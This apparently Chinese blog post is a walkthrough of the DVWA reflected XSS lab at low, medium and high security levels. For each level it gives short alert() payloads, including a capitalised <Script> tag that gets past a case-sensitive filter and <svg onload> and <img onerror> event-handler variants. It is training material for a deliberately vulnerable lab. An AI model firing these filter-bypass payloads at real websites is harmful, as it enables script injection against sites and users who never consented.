当前位置: 首页 > article >正文

【dvwa靶场:XSS系列】XSS (Reflected)低-中-高级别,通关啦

一、低级low

简单拿捏

<script>alert(123)</script>

二、中级middle

源码过滤了script但是没有过滤大小写,改成大写S

<Script>alert(123)</script>

三、高级high

比中级高,过滤了script并且以及大小写,使用其他标签,二选一就行

<svg onload=alert(123)>
<img src=x onerror=alert(123)>


http://www.kler.cn/a/387965.html

相关文章:

  • Web大学生网页作业成品——婚礼婚纱网页设计与实现(HTML+CSS)(6个页面)
  • qt QVideoWidget详解
  • 「数据要素」行业简报|2024.11.上刊
  • 企业如何提高团队管理的能力?
  • JavaScript Cookie 与 服务器生成的 Cookie 的区别与应用
  • GitLab实现 HTTP 访问和 SMTP 邮件发送
  • 【开发】Java的内存溢出
  • uni-app打包后报错云服务空间未关联
  • unity关于自定义渲染、内存管理、性能调优、复杂物理模拟、并行计算以及插件开发
  • [python] 如何debug python脚本中C++后端的core dump
  • 【嵌入式开发——ARM】1ARM架构
  • 牛客周赛 Round 67
  • Android 实现一个系统级的悬浮秒表
  • 基于 STM32 的天气时钟项目中添加天气数据的网络获取功能
  • Edge浏览器打开PDF无法显示电子签章
  • mac 本地docker-mysql主从复制部署
  • Hive-testbench套件使用文档
  • Matlab绘制箭头(annotation 、quiver、​quiver3)
  • Python批量合并多个PDF
  • 【Ubuntu24.04】从双系统到虚拟机再到单系统的故事
  • 产品如何3D建模?如何根据使用场景选购3D扫描仪?
  • 书生大模型第四期闯关任务与笔记
  • 在 WPF 中,绑定机制是如何工作的?WPF数据绑定机制解析
  • onnx-runner:使用ORT运行YOLO的ONNX模型
  • 安全关键型嵌入式系统设计模式整理及应用实例
  • Flink的流、批处理